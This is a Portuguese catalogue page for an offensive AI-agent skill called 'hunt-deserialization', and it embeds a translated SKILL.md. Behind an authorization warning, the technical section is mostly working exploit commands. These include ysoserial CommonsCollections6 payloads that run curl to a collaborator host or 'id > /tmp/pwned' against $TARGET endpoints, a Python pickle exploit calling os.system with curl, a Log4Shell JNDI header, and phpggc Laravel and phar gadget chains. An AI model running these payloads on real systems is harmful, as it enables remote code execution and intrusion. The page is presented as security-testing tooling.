Pular para o conteúdo
Skillpedia
Segurança48 mil · #3253

hunt-deserialization

Faz seu agente buscar por falhas de desserialização insegura. Isso evita que código malicioso seja executado.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em como um programa lida com dados que ele recebe. Ela procura por um tipo específico de vulnerabilidade chamada 'desserialização insegura', que pode permitir que um invasor execute comandos maliciosos no sistema.

Quando usar

  • ✓Ao testar a segurança de um aplicativo web.
  • ✓Para verificar se um servidor está vulnerável a ataques de execução remota.
  • ✓Durante auditorias de segurança para encontrar falhas conhecidas.

Exemplo do que pedir para a IA

“Verifique se o site example.com é vulnerável a desserialização insegura.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia dados especialmente criados para o alvo e observa se o programa reage de forma inesperada, indicando uma possível falha. Ela usa técnicas conhecidas para explorar diferentes linguagens de programação (Java, PHP, Python, etc.).

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-deserialization

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-DESERIALIZATION — Desserialização Insegura

Alvos de Joias da Coroa

Bugs de desserialização são quase sempre Críticos — levam diretamente à RCE sem condições prévias.

Cadeias de maior valor:

  • Cadeias de gadgets ysoserial Java — CommonsCollections, Spring, JNDI, gadgets Groovy → execução de comando do sistema operacional completo
  • Injeção de Objeto PHP — métodos mágicos __wakeup / __destruct → gravação de arquivo / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — cadeia de gadgets TypeConfuseDelegate → RCE
  • Ruby Marshal.load — gadgets Gem::Requirement, Gem::Installer → RCE
  • Injeção JNDI — padrão Log4Shell: ${jndi:ldap://attacker/a} → carregamento de classe → RCE

Sinais da Superfície de Ataque

Padrões de Detecção

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Sinais de Cabeçalho / Cookie

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Metodologia de Caça Passo a Passo

Fase 1 — Desserialização Java (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Fase 2 — Injeção de Objeto PHP

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Fase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Fase 3b — PHP phar://, Python YAML, desserialização Node

  • PHP phar:// (sem chamada unserialize()) — qualquer função de sistema de arquivos (file_exists/fopen/getimagesize) em um caminho phar:// desserializa os metadados do arquivo → injeção de objeto com zero unserialize() no código.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # imagem válida + poliglota phar
    

…

Perguntas frequentes

O que é 'desserialização insegura'?

É quando um programa confia demais em dados que recebe de fontes externas e os reconstrói sem verificar se são seguros, permitindo que dados maliciosos executem código.

O que é RCE?

RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma falha grave que permite a um invasor executar comandos no computador da vítima remotamente.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso sem autorização é ilegal.

Detalhes

Descrição original do autor

Hunt Insecure Deserialization

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3253
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas